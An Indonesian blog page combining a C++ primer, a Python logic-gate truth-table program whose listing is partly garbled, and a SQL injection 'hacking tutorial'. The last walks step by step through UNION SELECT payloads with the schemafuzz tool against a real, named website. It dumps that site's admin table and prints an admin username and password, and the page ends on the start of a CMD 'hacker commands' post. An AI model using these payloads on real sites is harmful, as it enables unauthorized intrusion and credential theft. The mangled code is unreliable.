Jumat, 09 Juni 2017

Tutorial Belajar Bahasa C++ untuk Pemula

Tutorial C++ Lengkap, Belajar Bahasa C++ untuk Pemula
C++ adalah bahasa pemrograman yang berhubungan dengan bahasa C, yang meliputi konsep kompilasi, kerangka program dan file header, dalam pembahasan kali ini saya akan memberikan trik dan tips agar Anda bisa belajar mengenai bahasa pemrograman C++ dengan mudah.

Perlu Anda ketahui terlebih dahulu bahwa bahasa C++ dan C tergolong ke dalam bahasa pemrograman tingkat menengah, lebih jelasnya bisa di lihat di bawah ini golongan bahasa pemrograman menurut tingkat kesulitannya.

Tutorial C++ Lengkap, Belajar Bahasa C++ untuk Pemula

Bahasa Tingkat Tinggi :
Pascal
Modula-2
Ada
COBOL
FORTRAN
BASIC
Bahasa Tingkat Menengah:
Java
C
C++
FORTH
Bahasa Tingkat Rendah:
Assembler
Macro-Assembler

Dari semua tingkat bahasa yang terdapat di atas, maka bahasa yang paling sulit untuk di kuasai adalah bahasa yang memiliki tingkat rendah yaitu macro assembler dan assembler, mengapa demikian? Karena bahasa pemrograman ini masih bersifat primitif yang artinya program hanya bersifat 0 dan 1 saja yang dapat di kenali oleh sistem komputer. Kemudian pada tahun 1983, seorang yang bernama doktor Bjarne Stroustrup mengembangkan bahasa pemrograman tersebut hingga lahirlah bahasa pemrograman C++.

Dalam bahasa C++ Anda juga harus mengerti tentang apa itu Preprocessor, untuk itu marilah kita bahas bersama sama tentang Preprocessor pada bahasa C++.

1. Preprocessor

Preprocessor, mula mula kode program akan di masukkan ke bagian preprocessor, yaitu sebuah tanda yang di awali dengan tanda #(pround) dan menghasilkan file yang akan di lewatkan ke dalam kompiler. Beberapa preprocessor di antaranya terbuat adalah sebagai berikuti ini:

#include
#define
#ifdef
dan lain lain

2. Kerangka Program C

Setiap program yang di tulis dalam bahasa C/C++ pasti akan memiliki sebuah fungsi utama yaitu int main ( ). Apabila kita akan mendefinisikan fungsi fungsi lai maka kita akan melakukannya di luar fungsi utama tersebut. Dalam C++, kode yang di baca adalah kode kode yang terdapat pada fungsi utama, jika terjadi pemanggilan fungsi lain, maka program akan mencari nama fungsi tersebut untuk di eksekusi dan apabila sudah melakukan eksekusi maka program akan kembali ke dalam fungsi utama, begitu juga seterusnya.

Apabila Anda belum memahami tentang kerangka pada program bahasa C++, maka akan saya berikan kerangka program bahasa C di bawah ini.

#include

// prototype fungsi
tipe_data nama_fungsi1 (parameter1, parameter2, . . .);
tipe_data nama_fungsi2 (parameter1, parameter2, . . .);
. . .

// Fungsi utama
int main (void) {
Statement;
. . .
return 0;
}

// Implementasi funsi
tipe_data nama_fungsi1(parameter1, parameter2, . . . ) {
Statement
. . .
}

tipe_data nama_fungsi2 (parameter1, parameter2, . . .) {
. . .

}

Itu adalah kerangka sebuah program bahasa C yang dapat Anda pahami terlebih dahulu, karena pada dasarnya bahasa C tidak jauh berbeda dengan bahasa C++. Untuk itu maka Anda dapat memahaminya terlebih dahulu.

3. Komentar

Dalam bahasa C++ ada dua tanda yang dapat di gunakan untuk sebuah komentar, yang pertama ada tanda yang di gunakan untuk komentar satu baris saja dan yang ke dua tanda yang di gunakan untuk komentar lebih dari satu baris. Untuk itu maka saya akan memberikan penjelasan mengenai tanda komentar, yang pertama yaitu tanda komentar satu baris.
Komentar Menggunakan Tanda //
Tanda // di gunakan untuk menuliskan sebuah komentar di bahasa pemrograman C++, tanda ini yaitu bisa di gunakan dan tidak akan terjadi error apabial di gunakan hanya untuk satu baris komentar saja. Itu artinya Anda tidak boleh menggunakan tanda ini jika Anda ingin memberikan sebuah komentar lebih dari satu baris, karena itu akan mengakibatkan sebuar kesalahan atau bisa juga error.

// ini adalah sebuah komentar satu baris

Komentar Menggunakan Tanda /*. . . */
Tanda /*. . . */ di gunakan untuk komentar yang lebih dari satu baris, untuk itu maka jika Anda ingin memberikan sebuah komentar lebih dari satu baris gunakanlah tanda tersebut.

/* Ini komentar
lebih dari satu
baris*/

4. Identifier

Identifier adalah suatu pengenal atau pengidentifikasi yang kita deklarasikan agar kompiler dapat mengenalinya. Identifier sendiri dapat berupa nama variabel, konstanta, fungsi, kelas, template maupun namespace.

Identifier yang berperan sebagai variabel dan konstanta berfungsi untuk manampung sebuah nilai yang di gunakan dalam program. Identifikasi ini di lakukan untuk mempermudah proses penanganan data atau nilai, misalnya untuk memasukkan dan menampilkan sebuah nilai.

Di bawah ini adalah contoh yang benar tentang penulisanya Identifier pada C++
Identifier tidak boleh berupa angka atau di awali dengan karaketer yang berupa angka, Contoh:
long 100 ;
long 2x ;
Identifier tidak boleh mengandung spasi, Contoh:
int Bilangan Bulat ;
Identifier tidak boleh mengandung karakter karakter simbol, Contoh:
long $atu ;
long lima% ;
long en@m ;
Identifier tidak boleh mengandung sebuah kata kunci atau keyword, Contoh:
long break ;
long return ;


Itulah penulisan sebuah identifier yang benar dalam bahasa pemrograman C++, semoga Anda dapat memahaminya. Apabila Anda ingin membuat sebuah identifier maka Anda harus bisa menyesuaikan dengan nama sesuai kebutuhan, jangan sampai nama identifier bisa membuat Anda sendiri menjadi bingung.

BELAJAR PYTHON – PROGRAM GERBANG LOGIKA AND, OR, NAND, NOR

BELAJAR PYTHON – PROGRAM TABEL KEBENARAN GERBANG LOGIKA AND, OR, NAND, NOR
Gerbang logika adalah blok rangkaian digital yang melambangkan proses operasi aljabar boolean. Kita mengenal gerbang logika AND, OR, XOR, NOT, NAND, NOR, XOR dan XNOR. Masing-masing gerbang logika memiliki satu jalur keluaran dan satu atau lebih jalur masukan. Gerbang logika dengan satu jalur masukan adalah gerbang NOT. Untuk gerbang logika yang lain jumlah masukan minimal adalah 2.

Gambar di bawah ini menunjukkan simbol gerbang logika dan tabel kebenarannya untuk 2 jalur masukan (kecuali gerbang NOT).


Gerbang Logika

Programmer dan orang teknik elektro sudah pasti hafal dengan simbol-simbol di atas.

Nah, di sini saya akan memberikan contoh program Python untuk membuat Tabel Kebenaran dari gerbang logika AND, OR, NAND dan NOR yang memiliki masukan dengan jumlah tertentu (ditentukan dengan parameter). Contoh program ini cukup bagus untuk pembelajaran Python karena di dalamnya terdapat contoh penggunaan dari:

fungsi
class
tuple
list
dictionary
penyeleksi-kondisi
perulangan
dan argument
Sebelum masuk kepada pembahasan program (secara singkat), marilah kita simak terlebih dahulu listing programnya secara keseluruhan.

LISTING PROGRAM GATES.PY

#****************************************************
# Logic Gates Truth Table Generator for n logic input
# Gates: AND, OR, NAND, NOR
#
# Oleh: Chandra MDE
# Email: chandra at teknikelektrolinks.com
# Linux Forte - Linux For Teknik Elektro
# http://linux.teknikelektrolinks.com
#****************************************************

import sys

LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
Logic = {'0': False, '1': True}
Logix = {False: '0', True: '1'}

# Function AND with tuple input
def f_and(inputs):
l = Logic[inputs[0]]
for i in range(1, len(inputs)):
l = l and Logic[inputs[i]]
return l

# Function OR with tuple input
def f_or(inputs):
l = Logic[inputs[0]]
for i in range(1, len(inputs)):
l = l or Logic[inputs[i]]
return l

# Function NAND with tuple input
def f_nand(inputs):
return not f_and(inputs)

# Function NOR with tuple input
def f_nor(inputs):
return not f_or(inputs)

# Map a gate's name with it's correspondence function
Gates = {'AND': f_and, 'OR': f_or, 'NAND': f_nand, 'NOR': f_nor}

# Function integer-to-binary-string
def int2bin(intvalue, digit):
binstr = ''; val = intvalue
while val>0:
if val % 2 == 0:
binstr = '0' + binstr
else:
binstr = '1' + binstr
val = val >> 1
if len(binstr)10:
numofinputs = 10
self.gate = gate.upper()
self.numberofinputs = numofinputs
self.logicoutput = []
self.labels = [LETTERS[i] for i in range(self.numberofinputs)]
self.labels.append('Y')
self.logicinput = [tuple(int2bin(i, self.numberofinputs)) for i in range(2**self.numberofinputs)]
for i in self.logicinput:
l = Gates[self.gate](i)
self.logicoutput.append(l)

def display(self):
print
print self.gate, "Gate with %i-Inputs" % self.numberofinputs + " Truth Table"
print len(self.labels)*6*'-'
for i in self.labels:
print "%4s" % i,
print
print len(self.labels)*6*'-'
x = 0
for i in self.logicinput:
for j in i:
print "%4s" % j,
print "%4s" % Logix[self.logicoutput[x]]
x += 1
print len(self.labels)*6*'-'
print

# Example how to use class TruthTable
T = TruthTable(sys.argv[1], int(sys.argv[2]))
T.display()
Contoh program di atas dapat membangkitkan tabel kebenaran untuk gerbang AND, OR, NAND dan NOR. Gerbang yang lain saya sisakan untuk Anda tambahkan sendiri, anggap saja sebagai latihan.

CLASS TRUTHTABLE

Kita mulai pembahasan singkat program di atas dengan class TruthTable. Class TruthTable didefinisikan sebagai berikut:

# Simple Truth-Table Class
class TruthTable:
"Generate a truth table for a logic gate with n inputs"
def __init__(self, gate, numofinputs):
if gate.upper() not in Gates:
print "Wrong logic gate. Choose: AND, OR, NAND or NOR."
quit()
if numofinputs<2: numofinputs = 2 if numofinputs>10:
numofinputs = 10
self.gate = gate.upper()
self.numberofinputs = numofinputs
self.logicoutput = []
self.labels = [LETTERS[i] for i in range(self.numberofinputs)]
self.labels.append('Y')
self.logicinput = [tuple(int2bin(i, self.numberofinputs)) for i in range(2**self.numberofinputs)]
for i in self.logicinput:
l = Gates[self.gate](i) # This is Python!
self.logicoutput.append(l)

def display(self):
print
print self.gate, "Gate with %i-Inputs" % self.numberofinputs + " Truth Table"
print len(self.labels)*6*'-'
for i in self.labels:
print "%4s" % i,
print
print len(self.labels)*6*'-'
x = 0
for i in self.logicinput:
for j in i:
print "%4s" % j,
print "%4s" % Logix[self.logicoutput[x]]
x += 1
print len(self.labels)*6*'-'
print
Class TruthTable ini memiliki variabel instance antara lain:

gate – nama gerbang logika
numberofinputs – jumlah masukan
logicoutput – data keluaran dari kombinasi nilai masukan (2 pangkat n)
labels – label untuk masukan (A, B, C, dst) dan keluaran (Y)
logicinput – data kombinasi bit dari sejumlah masukan gerbang logika
Class TruthTable menerima 2 parameter yakni gate (nama gerbang) dan numofinputs (jumlah masukan). Nama gerbang logika dapat ditulis dengan huruf kapital maupun campuran. Nama gerbang akan selalu diubah menjadi kapital dengan perintah:

self.gate = gate.upper()
Jumlah masukan gerbang dibatasi paling sedikit adalah 2 dan paling banyak adalah 10. Anda bisa memodifikasi batas jumlah masukan maksimum sesuai kebutuhan.

Untuk membuat instance dari class TruthTable, caranya adalah sebagai berikut:

T1 = TruthTable('And', 4) # Gerbang AND 4-Masukan
T2 = TruthTable('NaND', 7) #Gerbang NAND 7-Masukan
MENYUSUN TABEL KEBENARAN

Tabel kebenaran logika dibangkitkan dalam metode spesial (konstruktor) __init__(). Prosesnya diawali dengan membuat label untuk masukan dan keluaran. Perintahnya adalah sebagai berikut:

self.labels = [LETTERS[i] for i in range(self.numberofinputs)]
self.labels.append('Y')
Untuk jumlah masukan 5, maka variabel labels akan berisi ‘A’, ‘B’, ‘C’, ‘D’, ‘E’ dan ‘Y’.

Proses selanjutnya adalah membuat daftar kombinasi bit sesuai dengan jumlah masukan yang disimpan dalam variabel instance logicinput. Daftar kombinasi bit yang dibuat adalah sebanyak 2^n (2 pangkat n) dimana n adalah jumlah masukan gerbang logika. Perintahnya adalah sebagai berikut:

self.logicinput = [tuple(int2bin(i, self.numberofinputs)) for i in range(2**self.numberofinputs)]
Untuk jumlah masukan 3, maka logicinput akan berisi: (‘0′, ‘0’, ‘0’) hingga (‘1′, ‘1’, ‘1’). Type-casting tuple akan mengubah data string ‘000’ yang dihasilkan oleh fungsi int2bin menjadi (‘0′, ‘0’, ‘0’).

int2bin adalah fungsi untuk mengubah nilai integer menjadi biner (string). Saya membuat sendiri fungsi int2bin dengan definisi sebagai berikut:

# Function integer-to-binary-string
def int2bin(intvalue, digit):
binstr = ''; val = intvalue
while val>0:
if val % 2 == 0:
binstr = '0' + binstr
else:
binstr = '1' + binstr
val = val >> 1
if len(binstr) binstr = '0'*(digit-len(binstr)) + binstr
return binstr
Sebenarnya kita bisa menggunakan fungsi bin yang telah disediakan Python. Sengaja saya buatkan fungsi int2bin untuk menambah arena latihan saja. Jika menggunakan fungsi bin, maka baris program di atas akan berubah menjadi:

self.logicinput = [tuple(bin(i)[2:].zfill(self.numberofinputs)) for i in range(2**self.numberofinputs)]
Anda bisa mencoba keduanya dengan hasil yang sama. Mencoba keduanya tentu akan memperkaya wawasan pemrograman Python.

Setelah daftar kombinasi bit masukan selesai dibuat, langkah selanjutnya adalah menyusun daftar keluaran dari masing-masing kombinasi masukan yang telah disusun sebelumnya. Bagian program yang menyusun daftar keluaran adalah:

for i in self.logicinput:
l = Gates[self.gate](i)
self.logicoutput.append(l)
Gates adalah variabel struktur data dictionary. Dengan menggunakan tipe data dictionary, kita bisa memetakan atau mengorelasikan antara nama gerbang dengan fungsi operasionalnya. Untuk memetakan nama gerbang dengan fungsinya, perintah yang digunakan adalah:

Gates = {'AND': f_and, 'OR': f_or, 'NAND': f_nand, 'NOR': f_nor}
Fungsi untuk gerbang AND adalah f_and. Fungsi untuk gerbang OR adalah f_or. Fungsi untuk gerbang NAND adalah f_nand. Dan fungsi untuk gerbang NOR adalah f_nor. Definisi dari fungsi-fungsi tersebut adalah sebagai berikut:

# Function AND with tuple input
def f_and(inputs):
l = Logic[inputs[0]]
for i in range(1, len(inputs)):
l = l and Logic[inputs[i]]
return l

# Function OR with tuple input
def f_or(inputs):
l = Logic[inputs[0]]
for i in range(1, len(inputs)):
l = l or Logic[inputs[i]]
return l

# Function NAND with tuple input
def f_nand(inputs):
return not f_and(inputs)

# Function NOR with tuple input
def f_nor(inputs):
return not f_or(inputs)
Pemetaan ini merupakan bagian dari trik untuk memudahkan proses penyusunan daftar keluaran. Perhatikaan baris perintah:

l = Gates[self.gate](i)
Dengan menggunakan dictionary, kita dapat memanggil fungsi operasional gerbang berdasarkan namanya. Cara seperti ini tentu lebih ringkas dibandingkan dengan melakukan seleksi nama gerbang.

MENCETAK TABEL KEBENARAN

Class TruthTable memiliki metode bernama display() yang berfungsi untuk menampilkan tabel kebenaran yang telah dibuat atau dibangkitkan (generated) oleh konstruktor __init__().

Ada beberapa trik yang terdapat dalam metode display, yakni yang pertama adalah:

print len(self.labels)*6*'-'
Perintah tersebut akan mencetak garis dari karakter ‘-‘. Jumlah karakter yang dicetak adalah 6 kali jumlah label yang terdiri dari masukan dan keluaran. Untuk gerbang logika dengan jumlah masukan 3, maka jumlah karakternya adalah 6 x (3 + 1) = 24 karakter.

Trik berikutnya adalah penggunaan variabel dictionary Logix.

print "%4s" % Logix[self.logicoutput[x]]
Logix adalah dictionary yang memetakan nilai False menjadi ‘0’ dan nilai True menjadi ‘1’. Variabel keluaran gerbang, yakni logicoutput, berisi daftar keluaran dari kombinasi bit masukan yang memiliki tipe data boolean. Tampilan yang kita inginkan adalah ‘0’ untuk False dan ‘1’ untuk True. Untuk itulah variabel Logix dibuat, yakni memudahkan proses pencetakan keluaran.

Trik yang sama juga diterapkan pada fungsi f_and dan f_or yang menggunakan variabel dictionary Logic untuk memetakan nilai ‘0’ menjadi False dan ‘1’ menjadi True, sehingga dapat dioperasikan secara aritmatika logika.

PROGRAM UTAMA

Program utama gates.py terdiri dari 2 baris perintah saja, yakni:

T = TruthTable(sys.argv[1], int(sys.argv[2]))
T.display()
Perintah pertama menciptakan instance objek TruthTable dengan parameter argument yang diberikan saat pemanggilan program. Selanjutnya ditampilkan tabel kebenaran sesuai dengan nama gerbang dan jumlah masukan.

PENGGUNAAN PROGRAM

Untuk memanggil program gates.py, perintahnya adalah sebagai berikut:

$ python gates.py and 3
$ python gates.py or 6
$ python gates Nor 4
HASIL EKSEKUSI PROGRAM GATES.PY

Berikut ini adalah hasil eksekusi program untuk gerbang AND dengan 3 masukan dan gerbang NOR dengan 8 masukan.

Python Gerbang AND 3-Masukan

Untuk gerbang NOR dengan 8 masukan, hasil eksekusi saya alih-arahkan (redireksi) menjadi file dengan hasil sebagai berikut:

NOR Gate with 8-Inputs Truth Table
------------------------------------------------------
A B C D E F G H Y
------------------------------------------------------
0 0 0 0 0 0 0 0 1
0 0 0 0 0 0 0 1 0
0 0 0 0 0 0 1 0 0
0 0 0 0 0 0 1 1 0
0 0 0 0 0 1 0 0 0
0 0 0 0 0 1 0 1 0
0 0 0 0 0 1 1 0 0
0 0 0 0 0 1 1 1 0
0 0 0 0 1 0 0 0 0
0 0 0 0 1 0 0 1 0
0 0 0 0 1 0 1 0 0
0 0 0 0 1 0 1 1 0
0 0 0 0 1 1 0 0 0
0 0 0 0 1 1 0 1 0
0 0 0 0 1 1 1 0 0
0 0 0 0 1 1 1 1 0
0 0 0 1 0 0 0 0 0
0 0 0 1 0 0 0 1 0
0 0 0 1 0 0 1 0 0
0 0 0 1 0 0 1 1 0
0 0 0 1 0 1 0 0 0
0 0 0 1 0 1 0 1 0
0 0 0 1 0 1 1 0 0
0 0 0 1 0 1 1 1 0
0 0 0 1 1 0 0 0 0
0 0 0 1 1 0 0 1 0
0 0 0 1 1 0 1 0 0
0 0 0 1 1 0 1 1 0
0 0 0 1 1 1 0 0 0
0 0 0 1 1 1 0 1 0
0 0 0 1 1 1 1 0 0
0 0 0 1 1 1 1 1 0
0 0 1 0 0 0 0 0 0
0 0 1 0 0 0 0 1 0
0 0 1 0 0 0 1 0 0
0 0 1 0 0 0 1 1 0
0 0 1 0 0 1 0 0 0
0 0 1 0 0 1 0 1 0
0 0 1 0 0 1 1 0 0
0 0 1 0 0 1 1 1 0
0 0 1 0 1 0 0 0 0
0 0 1 0 1 0 0 1 0
0 0 1 0 1 0 1 0 0
0 0 1 0 1 0 1 1 0
0 0 1 0 1 1 0 0 0
0 0 1 0 1 1 0 1 0
0 0 1 0 1 1 1 0 0
0 0 1 0 1 1 1 1 0
0 0 1 1 0 0 0 0 0
0 0 1 1 0 0 0 1 0
0 0 1 1 0 0 1 0 0
0 0 1 1 0 0 1 1 0
0 0 1 1 0 1 0 0 0
0 0 1 1 0 1 0 1 0
0 0 1 1 0 1 1 0 0
0 0 1 1 0 1 1 1 0
0 0 1 1 1 0 0 0 0
0 0 1 1 1 0 0 1 0
0 0 1 1 1 0 1 0 0
0 0 1 1 1 0 1 1 0
0 0 1 1 1 1 0 0 0
0 0 1 1 1 1 0 1 0
0 0 1 1 1 1 1 0 0
0 0 1 1 1 1 1 1 0
0 1 0 0 0 0 0 0 0
0 1 0 0 0 0 0 1 0
0 1 0 0 0 0 1 0 0
0 1 0 0 0 0 1 1 0
0 1 0 0 0 1 0 0 0
0 1 0 0 0 1 0 1 0
0 1 0 0 0 1 1 0 0
0 1 0 0 0 1 1 1 0
0 1 0 0 1 0 0 0 0
0 1 0 0 1 0 0 1 0
0 1 0 0 1 0 1 0 0
0 1 0 0 1 0 1 1 0
0 1 0 0 1 1 0 0 0
0 1 0 0 1 1 0 1 0
0 1 0 0 1 1 1 0 0
0 1 0 0 1 1 1 1 0
0 1 0 1 0 0 0 0 0
0 1 0 1 0 0 0 1 0
0 1 0 1 0 0 1 0 0
0 1 0 1 0 0 1 1 0
0 1 0 1 0 1 0 0 0
0 1 0 1 0 1 0 1 0
0 1 0 1 0 1 1 0 0
0 1 0 1 0 1 1 1 0
0 1 0 1 1 0 0 0 0
0 1 0 1 1 0 0 1 0
0 1 0 1 1 0 1 0 0
0 1 0 1 1 0 1 1 0
0 1 0 1 1 1 0 0 0
0 1 0 1 1 1 0 1 0
0 1 0 1 1 1 1 0 0
0 1 0 1 1 1 1 1 0
0 1 1 0 0 0 0 0 0
0 1 1 0 0 0 0 1 0
0 1 1 0 0 0 1 0 0
0 1 1 0 0 0 1 1 0
0 1 1 0 0 1 0 0 0
0 1 1 0 0 1 0 1 0
0 1 1 0 0 1 1 0 0
0 1 1 0 0 1 1 1 0
0 1 1 0 1 0 0 0 0
0 1 1 0 1 0 0 1 0
0 1 1 0 1 0 1 0 0
0 1 1 0 1 0 1 1 0
0 1 1 0 1 1 0 0 0
0 1 1 0 1 1 0 1 0
0 1 1 0 1 1 1 0 0
0 1 1 0 1 1 1 1 0
0 1 1 1 0 0 0 0 0
0 1 1 1 0 0 0 1 0
0 1 1 1 0 0 1 0 0
0 1 1 1 0 0 1 1 0
0 1 1 1 0 1 0 0 0
0 1 1 1 0 1 0 1 0
0 1 1 1 0 1 1 0 0
0 1 1 1 0 1 1 1 0
0 1 1 1 1 0 0 0 0
0 1 1 1 1 0 0 1 0
0 1 1 1 1 0 1 0 0
0 1 1 1 1 0 1 1 0
0 1 1 1 1 1 0 0 0
0 1 1 1 1 1 0 1 0
0 1 1 1 1 1 1 0 0
0 1 1 1 1 1 1 1 0
1 0 0 0 0 0 0 0 0
1 0 0 0 0 0 0 1 0
1 0 0 0 0 0 1 0 0
1 0 0 0 0 0 1 1 0
1 0 0 0 0 1 0 0 0
1 0 0 0 0 1 0 1 0
1 0 0 0 0 1 1 0 0
1 0 0 0 0 1 1 1 0
1 0 0 0 1 0 0 0 0
1 0 0 0 1 0 0 1 0
1 0 0 0 1 0 1 0 0
1 0 0 0 1 0 1 1 0
1 0 0 0 1 1 0 0 0
1 0 0 0 1 1 0 1 0
1 0 0 0 1 1 1 0 0
1 0 0 0 1 1 1 1 0
1 0 0 1 0 0 0 0 0
1 0 0 1 0 0 0 1 0
1 0 0 1 0 0 1 0 0
1 0 0 1 0 0 1 1 0
1 0 0 1 0 1 0 0 0
1 0 0 1 0 1 0 1 0
1 0 0 1 0 1 1 0 0
1 0 0 1 0 1 1 1 0
1 0 0 1 1 0 0 0 0
1 0 0 1 1 0 0 1 0
1 0 0 1 1 0 1 0 0
1 0 0 1 1 0 1 1 0
1 0 0 1 1 1 0 0 0
1 0 0 1 1 1 0 1 0
1 0 0 1 1 1 1 0 0
1 0 0 1 1 1 1 1 0
1 0 1 0 0 0 0 0 0
1 0 1 0 0 0 0 1 0
1 0 1 0 0 0 1 0 0
1 0 1 0 0 0 1 1 0
1 0 1 0 0 1 0 0 0
1 0 1 0 0 1 0 1 0
1 0 1 0 0 1 1 0 0
1 0 1 0 0 1 1 1 0
1 0 1 0 1 0 0 0 0
1 0 1 0 1 0 0 1 0
1 0 1 0 1 0 1 0 0
1 0 1 0 1 0 1 1 0
1 0 1 0 1 1 0 0 0
1 0 1 0 1 1 0 1 0
1 0 1 0 1 1 1 0 0
1 0 1 0 1 1 1 1 0
1 0 1 1 0 0 0 0 0
1 0 1 1 0 0 0 1 0
1 0 1 1 0 0 1 0 0
1 0 1 1 0 0 1 1 0
1 0 1 1 0 1 0 0 0
1 0 1 1 0 1 0 1 0
1 0 1 1 0 1 1 0 0
1 0 1 1 0 1 1 1 0
1 0 1 1 1 0 0 0 0
1 0 1 1 1 0 0 1 0
1 0 1 1 1 0 1 0 0
1 0 1 1 1 0 1 1 0
1 0 1 1 1 1 0 0 0
1 0 1 1 1 1 0 1 0
1 0 1 1 1 1 1 0 0
1 0 1 1 1 1 1 1 0
1 1 0 0 0 0 0 0 0
1 1 0 0 0 0 0 1 0
1 1 0 0 0 0 1 0 0
1 1 0 0 0 0 1 1 0
1 1 0 0 0 1 0 0 0
1 1 0 0 0 1 0 1 0
1 1 0 0 0 1 1 0 0
1 1 0 0 0 1 1 1 0
1 1 0 0 1 0 0 0 0
1 1 0 0 1 0 0 1 0
1 1 0 0 1 0 1 0 0
1 1 0 0 1 0 1 1 0
1 1 0 0 1 1 0 0 0
1 1 0 0 1 1 0 1 0
1 1 0 0 1 1 1 0 0
1 1 0 0 1 1 1 1 0
1 1 0 1 0 0 0 0 0
1 1 0 1 0 0 0 1 0
1 1 0 1 0 0 1 0 0
1 1 0 1 0 0 1 1 0
1 1 0 1 0 1 0 0 0
1 1 0 1 0 1 0 1 0
1 1 0 1 0 1 1 0 0
1 1 0 1 0 1 1 1 0
1 1 0 1 1 0 0 0 0
1 1 0 1 1 0 0 1 0
1 1 0 1 1 0 1 0 0
1 1 0 1 1 0 1 1 0
1 1 0 1 1 1 0 0 0
1 1 0 1 1 1 0 1 0
1 1 0 1 1 1 1 0 0
1 1 0 1 1 1 1 1 0
1 1 1 0 0 0 0 0 0
1 1 1 0 0 0 0 1 0
1 1 1 0 0 0 1 0 0
1 1 1 0 0 0 1 1 0
1 1 1 0 0 1 0 0 0
1 1 1 0 0 1 0 1 0
1 1 1 0 0 1 1 0 0
1 1 1 0 0 1 1 1 0
1 1 1 0 1 0 0 0 0
1 1 1 0 1 0 0 1 0
1 1 1 0 1 0 1 0 0
1 1 1 0 1 0 1 1 0
1 1 1 0 1 1 0 0 0
1 1 1 0 1 1 0 1 0
1 1 1 0 1 1 1 0 0
1 1 1 0 1 1 1 1 0
1 1 1 1 0 0 0 0 0
1 1 1 1 0 0 0 1 0
1 1 1 1 0 0 1 0 0
1 1 1 1 0 0 1 1 0
1 1 1 1 0 1 0 0 0
1 1 1 1 0 1 0 1 0
1 1 1 1 0 1 1 0 0
1 1 1 1 0 1 1 1 0
1 1 1 1 1 0 0 0 0
1 1 1 1 1 0 0 1 0
1 1 1 1 1 0 1 0 0
1 1 1 1 1 0 1 1 0
1 1 1 1 1 1 0 0 0
1 1 1 1 1 1 0 1 0
1 1 1 1 1 1 1 0 0
1 1 1 1 1 1 1 1 0
------------------------------------------------------

sekian sampai di sini dulu yah untuk belajarnya terima kasih


Selasa, 30 Mei 2017

tutorial hacking dengan menggunakan bahasa pemrograman phyton

Hacking : Dengan Menggunakan Sql Injection Hanya Untuk Yang Serius Belajar….
Hello all, DI sini gua mau sharing Ilmu dikit mengenai Hacking Sql Injection Dengan Menggunakan Metode Schema fuzzy
Khusus buat Para Newbie Yang pengen belajar,,, jadi buat para master yang udah jago di liat2 aja dech….
Mungkin masih banyak kekurangan dalam Thread ini, untuk itu ayo kita sama sama belajar…
Langsung Masuk Ke pembahasanx yachh :
Schema Fuzzy adalah tools yang di buat dengan bahasa python yang dipergunakan untuk melakukan test SQL Injection pada sebuah website…
feature dan hal2 yang di butuhkan yaitu :
1. Komputer (fast speed)
2. Koneksi internet (fast connection)
3. Program Python-2.6.4 (bisa di download Di Sini !! Setelah Di download Langsung Di install di PC/Laptop anda)
4. script schemafuzzy.py (adalah script yang akan di gunakan untuk mencari database,column and table ,, Untuk download scriptsx Klik Di Sini !!)
5. CMD
6. target website (misal menggunakan kata kunci di google : “products.php?cat=”)
Sudah Di siapkan?
di pastikan Kamu sudah install python2.6.4. Copy schemafuzz.py ke dalam dir python26. Kalo sudah selesai langsung jalankan. Caranya :
klik start>>Run>>CMD
truss and aktif ke directory c:\ dengan mengetik CD ../.. <– mundur 2 dir masuk ke directory Python26 dengan cara ketik “cd Python26” hingga muncul C:\Python26>
perintah dasar schemafuzzy ini yaitu :
schemafuzzy.py -u “target” –perintah
1. kita gunakan di target kita. (disini saya ambil target yang saya dapatkan di google dengan kata kunci : “products.php?cat=”) yaitu :
http://www.queenannewine.com/products.php?cat=1
2. Cek kolomnya
python schemafuzzy.py -u http://www.queenannewine.com/products.php?cat=1 –findcol
Hingga muncul :
3. setelah ini kamu masuk ke direktory c:\ di mana python terinstall cari name file schemafuzzlog.txt <– di sini ada hasil column yang berhasil di cari tadi….
3. Cari Db nya..
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” -dbs
Hingga Muncul :
Kita sudah temukan data base site tersebut :
database ada 3 :
1. C239128_QAWcal
2. C239128_queen
3. C239128_queen2
tapi pada penjesalan ini kita akan gunakan database nomor2
4. Cari nama table dalam database C239128_queen
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” –schema -D C239128_queen
Hingga Muncul Hasil :
keluar semua colomnya… dari sini kita mengetahui bahwa web tersebut memiliki 56 Columns. (pic di atas pencarian Blom selesai, jadi kalian kalian harus selesaikan sampai column 56) Sekarang kita tinggal pilih kolom yang akan kita exploit ….
5. Exploit Tables and Columns :
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” –dump -D C239128_queen -T – di isi Nama table -C di isi nama columns..
Misal gua mau Melihat data data yang ada di columns admin :
Dengan perintah :
python schemafuzz.py -u “http://www.queenannewine.com/products.php?cat=1+AND+1=2+UNION+SELECT+0,dimensi, 2,3” –dump -D C239128_queen -T admin -C adminUser,adminPassword
Hingga Muncul Hasil seperti di bawah ini :
Lihat
jbalji:mcse6273:mcse6273:
ini adalah user dan password admin yang keluar.. . Cara ini hanya berlaku untuk sql versi 5. untuk versi 4, Harus Manual.
Nah user and password admin dah ketahuan… untuk login ke adminx.. silahkan anda cari sendiri link loginx….
oke sekian dari saya
segala penyalah gunaan dari artikel ini bukan Tanggung jawab penulis.
Semoga bermanfaat bagi anda

Senin, 29 Mei 2017

cara seru belajar hacker dasar - perintah yang sering digunakan di cmd

cara seru belajar hacker dasar - perintah yang sering digunakan di cmd


Jika Anda memang bekerja pada dunia teknologi atau lebih banyak menggunakan komputer dengan sistem operasi Windows setiap hari, maka Anda sebaiknya lebih banyak mengenal tentang CMD (Command Prompt). CMD ini bisa dikatakan sebagai Windows Explorer dari sistem operasi Windows, hanya dalam tampilan CLI (Command Line Interface), atau butuh beberapa perintah untuk mengakses file atau software di dalam komputer. Bahkan, dengan mengetahui lebih jauh mengenai dunai CMD, maka Anda pun bisa menjadi seorang hacker yang katanya sangat hebat dalam hal bobol-membobol. Tapi, kalau masalah bobol-membobol cewek, apa bisa juga ya?

Nah, di bawah ini Saya akan mencoba menjelaskan sedikit perintah dasar yang umum digunakan oleh para hacker saat menjalankan aksinya untuk membobol sistem keamanan jaringan kantor atau pun sebuah komputer.

1. Ping

